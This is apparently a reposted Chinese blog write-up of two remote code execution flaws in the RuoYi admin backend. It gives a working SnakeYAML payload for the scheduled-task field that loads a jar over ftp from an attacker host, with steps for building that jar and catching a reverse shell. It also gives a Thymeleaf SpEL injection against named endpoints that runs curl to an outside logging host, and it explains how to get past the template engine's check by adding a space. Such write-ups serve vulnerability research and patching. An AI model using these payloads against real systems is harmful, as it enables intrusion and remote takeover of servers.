若依管理后台的一些代碼執行漏洞


反射+Yaml達到的代碼執行

漏洞發現

在若依管理后台-系統監控-定時任務-新建,發現有個調用目標字符串的字段

查看定時任務的具體代碼,定位到ruoyi-quartz/src/main/java/com/ruoyi/quartz/util/JobInvokeUtil.java

假設我們輸入com.hhddj1.hhddj2.hhddj3()

經解析后

  • beanName為com.hhddj1.hhddj2
  • methodName為hhddj3
  • methodParams為[]
/**
 * 執行方法  *  * @param sysJob 系統任務  */ public static void invokeMethod(SysJob sysJob) throws Exception { String invokeTarget = sysJob.getInvokeTarget(); String beanName = getBeanName(invokeTarget); String methodName = getMethodName(invokeTarget); List<Object[]> methodParams = getMethodParams(invokeTarget); if (!isValidClassName(beanName)) { Object bean = SpringUtils.getBean(beanName); invokeMethod(bean, methodName, methodParams); } else { Object bean = Class.forName(beanName).newInstance(); invokeMethod(bean, methodName, methodParams); } } 

反射Runtime失敗

想要通過該反射執行命令,首先想到使用java.lang.Runtime.getRuntime().exec("")

若使用該payload,則會跳到JobInvokeUtil.java的這段代碼中。

Object bean = Class.forName(beanName).newInstance(); invokeMethod(bean, methodName, methodParams); 

然而,想要通過Class.forName(beanName).newInstance()成功實例化,必須滿足類至少有一個構造函數

  • 無參
  • public

而Runtime類的構造函數是private的,不滿足條件,因此使用payloadjava.lang.Runtime.getRuntime().exec(""),會報錯。

反射ProcessBuilder失敗

同樣的,雖然我們可以在new ProcessBuilder的時候可以不加參數,但是並不代表ProcessBuilder的構造函數是無參的。因此使用ProcessBuilder的payload也會報錯。

ProcessBuilder processBuilder = new ProcessBuilder(); processBuilder.command("/bin/bash","-c","curl http://xxx/test"); processBuilder.start(); 

ProcessBuilder的構造函數

public ProcessBuilder(List<String> var1) { if (var1 == null) { throw new NullPointerException(); } else { this.command = var1; } } public ProcessBuilder(String... var1) { this.command = new ArrayList(var1.length); String[] var2 = var1; int var3 = var1.length; for(int var4 = 0; var4 < var3; ++var4) { String var5 = var2[var4]; this.command.add(var5); } } 

構造Yaml類

想要代碼執行,我嘗試過寫文件等等方式,但是都無法反射成功。

因為根據若依的定時任務代碼,需要滿足以下條件:

  • 類的構造函數無參且public
  • 調用的方法的參數類型只能是String/int/long/double
  • 該方法具有代碼執行的潛力

因此找到Yaml類,剛好若依有一個YamlUtil類,里面使用了org.yaml.snakeyaml包。

所以我們構造了以下payload,使用ftp協議的原因是http被禁用

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["ftp://ip/yaml-payload.jar"]
  ]]
]')

yaml-payload.jar的生成過程:

1)在github上下載源碼(https://github.com/artsploit/yaml-payload.git)

2)將IP和端口改成我們對應攻擊機上的IP和端口

3)使用以下兩條命令生成新的yaml-payload.jar,生成的yaml-payload.jar位置如下圖紅箭頭所示。

javac src/artsploit/AwesomescriptEngineFactory.java

jar -cvf yaml-payload.jar -C src/ .

漏洞利用過程

1.生成yaml-payload.jar,ip寫攻擊機ip,端口寫2333。生成之后,傳到攻擊機的ftp目錄下。

2.攻擊機:監聽2333端口

3.若依管理后台,新建定時任務,目標調用字符串寫

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["ftp://攻擊機ip/yaml-payload.jar"]
  ]]
]')

4.攻擊機上收到反彈shell

結合Thymeleaf注入的代碼執行

在代碼審計若依的時候,發現了Thymeleaf語法的一些問題,不過后來發現大佬們之前就寫過很多關於Thymeleaf注入的資料。

漏洞分析

Ruoyi使用了thymeleaf-spring5,其中四個接口方法中設置了片段選擇器:

http://demo.ruoyi.vip/monitor/cache/getNames

http://demo.ruoyi.vip/monitor/cache/getKeys

http://demo.ruoyi.vip/monitor/cache/getValue

http://demo.ruoyi.vip/demo/form/localrefresh/task

通過這四段接口,可以指定任意fragment,以/monitor/cache/getNames接口為例,controller代碼如下:

@PostMapping("/getNames") public String getCacheNames(String fragment, ModelMap mmap) { mmap.put("cacheNames", cacheService.getCacheNames()); return prefix + "/cache::" + fragment; } 

這四段接口方法中,都使用了thymeleaf的語法:

"/xxx::" + fragment;

我們構造fragment的值為:

%24%7b%54%20%28%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%29%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%22%63%75%72%6c%20%68%74%74%70%3a%2f%2f%63%6d%6d%6f%76%6f%2e%63%65%79%65%2e%69%6f%2f%72%75%6f%79%69%74%65%73%74%22%29%7d

-->

${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

當我們構造的模板片段被thymeleaf解析時,thymeleaf會將識別出fragment為SpringEL表達式。不管是?fragment=header(payload)還是?fragment=payload

但是,在執行SpringEL表達式之前,thymeleaf會去檢查參數值中是否使用了"T(SomeClass)"或者"new SomeClass"

這個檢查方法其實可以繞過,SpringEL表達式支持"T (SomeClass)"這樣的語法,因此我們只要在T與惡意Class之間加個空格,就既可以繞過thymeleaf的檢測規則,又可以執行SpringEL表達式。

因此payload中T與惡意Class之間含有空格,不論是空格或者制表符都可以繞過檢測。

漏洞利用過程

1.將payload進行HTML編碼

${T (java.lang.Runtime).getRuntime().exec("curl http://cmmovo.ceye.io/ruoyitest")}

2.填入header后面的括號中,命令成功執行,ceye監聽平台收到dnslog請求


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM